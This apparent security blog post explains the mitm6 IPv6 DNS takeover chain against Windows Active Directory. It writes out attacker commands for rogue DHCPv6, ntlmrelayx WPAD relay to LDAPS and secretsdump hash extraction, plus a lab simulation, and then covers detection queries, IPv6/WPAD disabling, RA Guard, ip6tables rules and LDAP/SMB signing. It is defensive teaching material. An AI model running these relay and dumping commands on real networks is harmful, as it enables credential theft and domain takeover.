Listen to this Post
Introduction:
Even if your organization relies entirely on IPv4, Windows systems enable and prefer IPv6 by default—creating a massive, often overlooked attack surface. Attackers can drop into your network, deploy tools like mitm6 to become a rogue DHCPv6 server, and force victims to authenticate to malicious WPAD configurations, ultimately relaying NTLM credentials to compromise your entire Active Directory via DCSync and Golden Ticket attacks.
Learning Objectives:
- Understand the three-phase IPv6 DNS takeover attack chain (spoofing → WPAD abuse → DCSync)
- Implement defensive measures including disabling unused protocols, enforcing signing requirements, and monitoring for rogue IPv6 traffic
- Execute practical commands on Linux and Windows to test, detect, and harden against this attack vector
You Should Know:
- The Attack Chain: From Rogue DHCPv6 to Domain Compromise
This attack exploits Windows’ default preference for IPv6 over IPv4. When an attacker connects to your network, they run:
On Kali Linux (attacker) sudo mitm6 -d targetdomain.com --ignore-nofqdn
mitm6 responds to DHCPv6 requests, assigning the attacker’s machine as the DNS server. Victims then query the attacker for every hostname. Next, the attacker forces WPAD abuse:
sudo ntlmrelayx.py -6 -t ldaps://<target-dc-ip> -wh fakewpad.targetdomain.com -l loot
When a victim tries to browse the web, they request wpad.targetdomain.com. The attacker’s DNS resolves to their own server, which serves a malicious WPAD file. The victim’s machine automatically attempts NTLM authentication, which is relayed to the Domain Controller. With high-privilege credentials relayed, the attacker performs:
secretsdump.py -just-dc-ntlm 'targetdomain.com/relayed_user@<dc-ip>'
Step‑by‑step guide to simulate in a lab:
- Set up a Windows domain controller and a Windows 10/11 client in an isolated VM network.
- From a Kali VM, run
sudo mitm6 -d lab.local. - In another terminal, run
sudo ntlmrelayx.py -6 -t ldaps://dc.lab.local -wh attacker-wpad. - On the Windows client, open any browser (e.g., `http://example.com`). Authentication will be forced.
5. Observe ntlmrelayx capturing and relaying – if successful, it will dump domain hashes.2. Detecting Rogue IPv6 Traffic with Wireshark and PowerShell
Detecting this attack requires monitoring for suspicious DHCPv6 and DNS responses. Use Wireshark with filter:
dhcpv6 or (dns and ipv6)
Look for multiple `DHCPv6 Advertise` messages from unexpected MAC addresses, or DNS replies for `wpad` that resolve to non-corporate IPv6 addresses.
On Windows, list active IPv6 DNS servers per interface:
Get-DnsClientServerAddress -AddressFamily IPv6 | Where-Object {$_.ServerAddresses -ne $null}
Unexpected IPv6 DNS servers (e.g., link-local addresses starting with fe80::) indicate potential spoofing. To detect WPAD queries in logs:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-WinHTTP/Operational'; ID=1000} | Where-Object {$_.Message -like 'wpad'}
Step‑by‑step detection guide:
- Deploy a span port or network tap to monitor a critical switch segment.
- Use `tshark` on a Linux jumpbox: `sudo tshark -i eth0 -Y “dhcpv6.msgtype == 2 or dns.qry.name contains wpad” -T fields -e ipv6.src -e dhcpv6.duid`
3. Log any DHCPv6 Advertise messages from unknown DUIDs. - Configure SIEM alert for `Event ID 1000` (WinHTTP) with `wpad` in the message.
-
Hardening Windows: Disable IPv6 and WPAD (If Unused)
If your organization does not use IPv6, disable it entirely. Via Group Policy:
- Navigate to `Computer Configuration → Administrative Templates → Network → TCP/IP Settings → IPv6 Transition Technologies`
– Set “Disable IPv6” on all interfaces.
Alternatively, via PowerShell (immediate but requires reboot):
Disable IPv6 on all non-tunnel interfaces Get-NetAdapterBinding -ComponentID ms_tcpip6 | Disable-NetAdapterBinding -ComponentID ms_tcpip6
To disable WPAD (Web Proxy Auto-Discovery) – recommended unless you actively use it:
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad" -Name "WpadOverride" -Value 1 -PropertyType DWord -Force
Or via Group Policy: `Computer Configuration → Administrative Templates → Windows Components → Internet Explorer → Disable automatic detection of proxy settings` (set to Enabled).
Step‑by‑step hardening for Windows clients:
- Run `gpresult /h C:\gp.html` to confirm no IPv6 dependency.
- Apply the registry disable for WPAD across all workstations via Group Policy Preferences.
- Reboot and validate: `netsh interface ipv6 show interfaces` – all non-loopback interfaces should show “Disabled”.
4. Network Controls: Block Rogue DHCPv6 and RA
On managed switches (Cisco example), enable DHCPv6 snooping and RA Guard:
ipv6 dhcp snooping ipv6 dhcp snooping vlan 10 interface GigabitEthernet0/1 ipv6 dhcp snooping trust ! ipv6 nd raguard policy HARDEN trust gateway ! interface vlan10 ipv6 nd raguard attach-policy HARDEN
For open-source firewalls (pfSense/OPNsense): create an IPv6 firewall rule on the internal interface to block inbound DHCPv6 (UDP 546/547) and Router Advertisements (ICMPv6 type 134) from any source except authorized router’s link-local address.
Step‑by‑step for Linux router/iptables:
Block unauthorized DHCPv6 server responses sudo ip6tables -A FORWARD -p udp --dport 547 -j DROP sudo ip6tables -A INPUT -p udp --dport 547 -j DROP Block Router Advertisements from non‑gateway sources sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -m mac ! --mac-source 00:11:22:33:44:55 -j DROP
5. Mandatory Signatures: LDAP, SMB, and Channel Binding
Stop NTLM relay dead by requiring signing and channel binding on all Domain Controllers. Via Group Policy:
- LDAP signing: `Network security: LDAP client signing requirements` → `Require signing`
– LDAP channel binding: `Network security: LDAP server channel binding token requirements` → `Always`
– SMB signing: `Microsoft network server: Digitally sign communications (always)` → `Enabled`
Check current status on a DC:
Get-ADDefaultDomainPasswordPolicy not directly - use registry reg query "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v "LDAPServerIntegrity"
Expected output: `LDAPServerIntegrity REG_DWORD 0x2` (2 = require signing).
Step‑by‑step enforcement:
- Open Group Policy Management Editor on your Domain Controllers OU.
- Navigate to
Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options.
3. Set all three policies as above.
4. Run `gpupdate /force` on DCs and reboot.
- Test relay attack in lab – ntlmrelayx should fail with “LDAP signing required” errors.
6. Monitoring and Incident Response for IPv6 Takeover
Set up real‑time detection using Sysmon and Event Logs. Install Sysmon with configuration that logs DHCPv6 events (Event ID 1 for process creation, but specifically monitor for mitm6-like behavior). Better: enable DHCP‑Server operational logs (even if not running DHCPv6, attackers still trigger). Create a detection query in your SIEM (Splunk/ELK):
index=windows EventCode=1000 (WinHTTP) AND (Message="WPAD" OR Message="wpad") OR index=network dhcpv6.msgtype=2 AND NOT (dhcpv6.server_duid = "known-dc-duid")
For incident response, if you suspect a live takeover:
1. Immediately block all IPv6 traffic at the firewall level (temporarily).
2. Run `nltest /dclist:` to verify DC availability via IPv4 only.
3. Collect volatile data: `netsh interface ipv6 show neighbors > C:\incident\ipv6_neighbors.txt`
4. Force a full password reset for all privileged accounts (krbtgt twice).
7. Testing Your Own Defenses (Ethical Lab Guide)
Set up a safe environment to verify your mitigations:
Lab topology: Windows DC (2019/2022), Windows 10/11 client, Kali attacker, all in same /64 IPv6 network.
Attack simulation script:
Attacker (Kali) echo 1 > /proc/sys/net/ipv6/conf/all/forwarding sudo mitm6 -d lab.local -i eth0 In separate terminal sudo ntlmrelayx.py -6 -t ldaps://dc.lab.local -wh attacker.wpad.lab.local --no-http-server -socks
Defense validation checklist:
- After disabling IPv6 on client, `mitm6` should see no requests.
- After enabling LDAP/SMB signing, relay attacks produce “signing required” errors.
- After configuring RA Guard, switch logs should show “RA denied” on untrusted ports.
What Undercode Say:
- IPv6 is not optional for attackers – Windows prefers it even when IPv4 works fine; leaving IPv6 unmanaged is a backdoor to AD.
- Layered defense works – disabling unused protocols (IPv6, WPAD) is simplest, but signing requirements and network ACLs provide defense-in-depth when IPv6 is needed.
- Detection is possible – most organizations don’t monitor DHCPv6 or WPAD queries; adding those logs immediately improves visibility.
Analysis: The mitm6 + ntlmrelayx attack chain has been known since 2016, yet many enterprises still treat IPv6 as “not our problem.” The default Windows behavior – preferring IPv6 and auto‑discovering WPAD – transforms a forgotten protocol into a reliable domain compromise vector. The mitigation steps are well‑documented but require cross‑team effort (network, AD, security). The most impactful single change is disabling IPv6 via GPO if not used – but if IPv6 is required, enforcing LDAP/SMB signing and deploying RA Guard are non‑negotiable. Attackers will continue leveraging this gap because blue teams often ignore IPv6 logs entirely.
Prediction:
As organizations accelerate IPv6 adoption for IoT and cloud workloads, the attack surface will grow exponentially. Expect automated toolkits that combine mitm6 with AI‑driven relay target selection – prioritizing high‑value accounts based on LDAP enumeration. Within 24 months, we will see ransomware groups using IPv6 DNS takeover as their primary initial access vector for on‑prem AD, bypassing SMB signing misconfigurations. Proactive defenders will shift to “IPv6‑first” security policies, treating IPv6 traffic with the same scrutiny as IPv4, and certificate‑based authentication (Kerberos with PKINIT) will become mandatory to eliminate NTLM relay entirely.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Zlatanh Is – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
